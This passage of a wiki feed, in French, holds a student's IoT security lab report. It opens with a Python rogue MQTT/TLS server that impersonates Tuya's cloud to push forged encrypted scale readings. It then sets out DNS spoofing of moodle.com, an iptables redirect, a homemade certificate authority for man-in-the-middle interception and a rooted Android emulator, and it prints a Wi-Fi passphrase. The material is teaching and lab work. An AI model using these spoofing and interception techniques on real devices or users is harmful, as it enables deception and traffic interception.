# DPS balance (poids correct pour Nedis)&lt;br /&gt;
DPS_POIDS = {&lt;br /&gt;
    &amp;quot;1&amp;quot;: 8050,   # 80.50 kg&lt;br /&gt;
    &amp;quot;2&amp;quot;: 1,      # stable&lt;br /&gt;
    &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
# =========================================&lt;br /&gt;
&lt;br /&gt;
# ---------- TUYA CRYPTO ----------&lt;br /&gt;
def tuya_encrypt(data: dict, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    raw = json.dumps(data, separators=(',', ':')).encode()&lt;br /&gt;
    cipher = AES.new(local_key, AES.MODE_ECB)&lt;br /&gt;
    encrypted = cipher.encrypt(pad(raw, 16))&lt;br /&gt;
    return base64.b64encode(encrypted).decode()&lt;br /&gt;
&lt;br /&gt;
def tuya_sign(enc_data: str, ts: int, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    s = f&amp;quot;data={enc_data}&amp;amp;t={ts}&amp;amp;key={local_key.decode()}&amp;quot;&lt;br /&gt;
    return hashlib.md5(s.encode()).hexdigest()&lt;br /&gt;
&lt;br /&gt;
def build_tuya_payload(dps: dict, device_id: str) -&amp;gt; dict:&lt;br /&gt;
    ts = int(time.time())&lt;br /&gt;
    enc = tuya_encrypt({&lt;br /&gt;
        &amp;quot;devId&amp;quot;: device_id,&lt;br /&gt;
        &amp;quot;dps&amp;quot;: dps&lt;br /&gt;
    }, LOCAL_KEY)&lt;br /&gt;
    sign = tuya_sign(enc, ts, LOCAL_KEY)&lt;br /&gt;
    return {&lt;br /&gt;
        &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
        &amp;quot;t&amp;quot;: ts,&lt;br /&gt;
        &amp;quot;data&amp;quot;: enc,&lt;br /&gt;
        &amp;quot;sign&amp;quot;: sign&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
def extract_device_id(topic: str) -&amp;gt; str:&lt;br /&gt;
    return topic.split(&amp;quot;/&amp;quot;)[-1]&lt;br /&gt;
&lt;br /&gt;
# ---------- MQTT UTILS ----------&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
# ---------- SERVER ----------&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS Tuya prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    published_topics = set()&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;✅ TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # -------- HANDLERS --------&lt;br /&gt;
                if pkt_type == 1:  # CONNECT&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)  # CONNACK OK&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 8:  # SUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b&amp;quot;\x01&amp;quot;))  # SUBACK QoS 1&lt;br /&gt;
&lt;br /&gt;
                    # Publication automatique&lt;br /&gt;
                    device_id = extract_device_id(topic)&lt;br /&gt;
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)&lt;br /&gt;
                    json_payload = json.dumps(tuya_payload)&lt;br /&gt;
&lt;br /&gt;
                    topic_bytes = topic.encode()&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
                    print(&amp;quot;🚀 POIDS TUYA CHIFFRÉ ENVOYÉ&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 4:  # PUBACK&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; PUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 10:  # UNSUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    conn.send(create_mqtt_packet(11, 0x00, msg_id))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; UNSUBACK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 12:  # PINGREQ&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;ℹ️ MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;❌ Erreur : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour autant, le poid n'est toujours pas visible dans l'application&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10941</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10941"/>
		<updated>2025-12-16T16:29:17Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Envoi de fausses informations vers l'application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
